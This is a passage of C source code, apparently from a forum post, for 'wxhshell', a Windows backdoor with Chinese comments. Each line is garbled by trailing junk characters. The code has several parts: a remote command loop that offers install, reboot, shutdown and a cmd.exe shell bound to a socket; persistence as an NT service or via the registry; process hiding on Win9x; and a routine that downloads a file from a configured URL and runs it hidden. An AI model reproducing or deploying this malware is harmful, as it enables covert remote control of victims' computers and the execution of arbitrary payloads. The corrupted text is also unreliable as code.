  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R_2JP C  
  } G:2m)0bW  
  else { kWgZIkY  
%CP:rAd`M.  
    switch(cmd[0]) { \VX~'pkrd/  
  w&7-:."1i  
  // 帮助 8f<[Bu ze  
  case '?': { uE6;;Ir#mF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WurpHOJt+  
    break; ~D)!zQkD  
  } zU9G: jH  
  // 安装 kG7q4jFwP  
  case 'i': { Z) zWfv}  
    if(Install()) ~agzp`!M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &&;ol}W  
    else ]' F{uDm[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5Go&+|cvJ  
    break; }bVWV0Aeim  
    } ''f07R  
  // 卸载 L@|W&N;%a  
  case 'r': { XKU+'Tz  
    if(Uninstall()) qi\!<clv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sh=Px9'i  
    else R;_U BQ)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,rp-`E5ap  
    break; ,HxsU,xiG  
    } [~ sXjaL8  
  // 显示 wxhshell 所在路径 :_q   
  case 'p': { ~iZMV ?w  
    char svExeFile[MAX_PATH]; btK| U  
    strcpy(svExeFile,"\n\r"); # Pulbk8  
      strcat(svExeFile,ExeFile); @]#0jiS  
        send(wsh,svExeFile,strlen(svExeFile),0); vRLkz4z   
    break; l0 H,TT~2  
    } L$GhM!c  
  // 重启 yVyh'd:Ik  
  case 'b': { uLsGb=m%b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e4V4%Qw  
    if(Boot(REBOOT)) AT:T%a:G?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d))(hk:  
    else { .3%eSbt0  
    closesocket(wsh); :Gh* d)  
    ExitThread(0); @83h/Wcxd  
    } :4"SJ  
    break; +b.qzgH>r  
    } VJX{2$L  
  // 关机 }*~EA=YN;  
  case 'd': { 7 N?x29  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `MgR/@%hr  
    if(Boot(SHUTDOWN)) `CI9~h@k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \guZc}V]:\  
    else { .[hQ#3)W  
    closesocket(wsh); %6}S'yL  
    ExitThread(0); mN^92@eebC  
    } {6v|d{V+e  
    break; K2TO,J3 E  
    } {R7>-Y[4)2  
  // 获取shell nu] k<^I5|  
  case 's': { ={?}[E  
    CmdShell(wsh); OYJy;u3"  
    closesocket(wsh); {_1^ GIIS  
    ExitThread(0); Z1FO.[FV  
    break; -&#L4AM%(9  
  } N7%+n*Z  
  // 退出 5r<%xanXW/  
  case 'x': { "-y\F}TE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Sq&*K9:z  
    CloseIt(wsh); N 5rY*S  
    break; cWl)ZE<hM  
    } (XJehdB0  
  // 离开 JbG\Ywi0]  
  case 'q': { 0Ng6Xg(QHc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Bo?uwi  
    closesocket(wsh); CJ_X:Frj)  
    WSACleanup(); OE-$P  
    exit(1); X6 ~y+ R  
    break; mD:d,,~  
        } J p.Sow  
  } jMUE&/k  
  } Wxg,y{(`  
Eo\# *Cv*  
  // 提示信息 L`YnrDZK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =iRi 9r'l  
} ^Ois]#py  
  } EH"iK2n\9  
d3T|N\(DL  
  return; (| Am  
} }$V]00 X  
Tk9*@kqv  
// shell模块句柄 Phl't~k  
int CmdShell(SOCKET sock) k0?4vA  
{ _Kx  /z  
STARTUPINFO si; L1`^~m|  
ZeroMemory(&si,sizeof(si)); []0`>rVq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6hYv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2](R}  
PROCESS_INFORMATION ProcessInfo; !&TbE@Xk  
char cmdline[]="cmd"; U KF/v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :Tw3Oo_~S  
  return 0; gh}FZs5 P  
} N{`-&8q;K  
gLQWL}0O  
// 自身启动模式 x;LyR  
int StartFromService(void) :7IL|bA<  
{ P"_x/C(]@J  
typedef struct r!yrPwKL  
{ 71cc6T  
  DWORD ExitStatus; ?]f+)tCMs  
  DWORD PebBaseAddress; _%!C;`3Y  
  DWORD AffinityMask; F8Y D:   
  DWORD BasePriority; uJMF\G=nb  
  ULONG UniqueProcessId; ~R/7J{Sg  
  ULONG InheritedFromUniqueProcessId; gE JmMh  
}   PROCESS_BASIC_INFORMATION; m:/@DZ  
%p"x|e  
PROCNTQSIP NtQueryInformationProcess; '/SMqmi  
SxC$EQ gL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DTN@b!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N7%Jy?-+  
bXc7$5(!VB  
  HANDLE             hProcess; @g[p>t> *  
  PROCESS_BASIC_INFORMATION pbi; GY<Y,  
*-Y77p7u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e>1^i;f  
  if(NULL == hInst ) return 0; :D-d`OyjG>  
Ka2U@fK"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `8\pihww  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QY-P!JD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >Fz_]z   
b`E0tZcJ  
  if (!NtQueryInformationProcess) return 0; ZP*Hx %U  
SS O$.rp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k\Oy\z@  
  if(!hProcess) return 0; 5wRDH1z@{  
>9F,=63A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DyG3|5s1R  
{8Hrb^8!  
  CloseHandle(hProcess); wlC_rRj~  
qDhz|a#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  }Q`Kg8L  
if(hProcess==NULL) return 0; ;f[Ki$7  
!y'LKze+G  
HMODULE hMod; 0 '~Jr\4  
char procName[255]; 6=90 wu3  
unsigned long cbNeeded; ]ss0~2  
;:cU/{W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f`p`c*  
FM0)/6I'x  
  CloseHandle(hProcess); "f~S3?^!2  
TuBg4\V  
if(strstr(procName,"services")) return 1; // 以服务启动 ~({aj|Y  
&B#HgWud  
  return 0; // 注册表启动 `BMg\2Ud*  
} w@X<</`  
9Z6] ];8E  
// 主模块 U{h5uezD  
int StartWxhshell(LPSTR lpCmdLine) c%Yvj  
{ g {8>2OK$c  
  SOCKET wsl; s41<e"  
BOOL val=TRUE; wX#=l?,K  
  int port=0; 8~EDmg[  
  struct sockaddr_in door; /%$'N$@f  
Cq u/(=  
  if(wscfg.ws_autoins) Install(); U[c,cdA  
x<P$$G/  
port=atoi(lpCmdLine); s8{3~Hv  
c3P  
if(port<=0) port=wscfg.ws_port; -#Yg B5  
9O?.0L  
  WSADATA data; /^DDU!=(<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {]] nQ  
M=x/PrY"R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pJVzT,poh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :"3WCB  
  door.sin_family = AF_INET; %@G<B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *@dRL3c^=  
  door.sin_port = htons(port); 4kT|/ bp  
hqFK2 lR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G|'DAj%  
closesocket(wsl); '+Gt+Gq+  
return 1; Y@TZReb  
} N3MMxm_u  
O%tlj@?  
  if(listen(wsl,2) == INVALID_SOCKET) { jWiB_8- 6  
closesocket(wsl); b@Ik c<  
return 1; -mO[;lO  
} iwJBhu0@#  
  Wxhshell(wsl); \QBODJ1  
  WSACleanup(); 6BFtY+.y  
8K]fw{-$L  
return 0; .O3i"X]  
pYI`5B4  
} Od>Ta_  
(pH13qU5  
// 以NT服务方式启动 >72j,0=e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zr\I1v]?1#  
{ l\ts!p4f$  
DWORD   status = 0; PX(.bP2^Lq  
  DWORD   specificError = 0xfffffff; j S')!Wcu  
=KmjCz:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; XtNe) Ry  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bb$1RLyRL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oS/<)>\Gv  
  serviceStatus.dwWin32ExitCode     = 0; VZ}^1e  
  serviceStatus.dwServiceSpecificExitCode = 0; T#|Qexz6 @  
  serviceStatus.dwCheckPoint       = 0; 8QE0J$d5  
  serviceStatus.dwWaitHint       = 0; sn+i[  
{uL<$;#i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :7e2O!zH_  
  if (hServiceStatusHandle==0) return;  ;B^G<  
7cK#fh"hvg  
status = GetLastError(); ]N:SB  
  if (status!=NO_ERROR) /$! / F@^  
{ 37v!:xF!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3K@dW"3  
    serviceStatus.dwCheckPoint       = 0; { e<J}-/?  
    serviceStatus.dwWaitHint       = 0; & *B@qQ  
    serviceStatus.dwWin32ExitCode     = status; ,`^B!U3m   
    serviceStatus.dwServiceSpecificExitCode = specificError; 8,a&i:C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9<.FwV >  
    return; F6}Pwz[c  
  } }C}~)qaZv+  
,1Suq\ L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c;&m}ImLe.  
  serviceStatus.dwCheckPoint       = 0; P cnr  
  serviceStatus.dwWaitHint       = 0; /wljb b/s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?>1AT ==wI  
} ]~U4;  
]chcRc[!  
// 处理NT服务事件,比如:启动、停止 fS>W-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W7WHH \L/O  
{ oR[,?qu@f  
switch(fdwControl) fYuJf,I[f  
{ #y&3`Nz3  
case SERVICE_CONTROL_STOP: j_L 'Ztu3  
  serviceStatus.dwWin32ExitCode = 0; ?NGM<nK;7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D}SRr,4v  
  serviceStatus.dwCheckPoint   = 0; 8ysU.5S  
  serviceStatus.dwWaitHint     = 0; =IkQ;L&  
  { \'q-Xr'}M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); up=4B  
  } d8C?m*3 J  
  return; %+L:Gm+^g#  
case SERVICE_CONTROL_PAUSE: f h)Cz)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I')URk[  
  break; 2Y(P hw2%  
case SERVICE_CONTROL_CONTINUE: ~x)Awdlu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /j0<x^m/  
  break; 7Wmk"gp  
case SERVICE_CONTROL_INTERROGATE: z[M LMf[c  
  break; .6z#o{n  
}; czi$&(N0w$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %ErL L@e  
} L Bb&av  
qx18A  
// 标准应用程序主函数 8+k\0fmy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !l?Go<^*L  
{ Op" \i   
54_CewL1P]  
// 获取操作系统版本 h1z[ElEeoP  
OsIsNt=GetOsVer(); nC$f0r"z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xlp^XT6#  
]!d #2(  
  // 从命令行安装 MOP/q4j[  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'VS!<  
W#P)v{K  
  // 下载执行文件 ``nuw7\C:  
if(wscfg.ws_downexe) { ?_%*{]mt(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :UoZ`O~  
  WinExec(wscfg.ws_filenam,SW_HIDE); p(8H[L4Y  
} &$lz@Z  
G!RbM.6  
if(!OsIsNt) { :@y!5[88!  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y#{ L}  
HideProc(); 89v9BWF  
StartWxhshell(lpCmdLine); DxdiXf[j  
} j5Vyo>  
else b] DF7 U  
  if(StartFromService()) %`F6>J  
  // 以服务方式启动 ()6(eRGJ  
  StartServiceCtrlDispatcher(DispatchTable); {CG%$rh  
else O]DZb+O"  
  // 普通方式启动 Zgkk%3'^'  
  StartWxhshell(lpCmdLine); "EQ`Q=8  
cgNK67"(  
return 0; v(W$\XH  
}
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只看该作者 1 发表于: 2006-10-10
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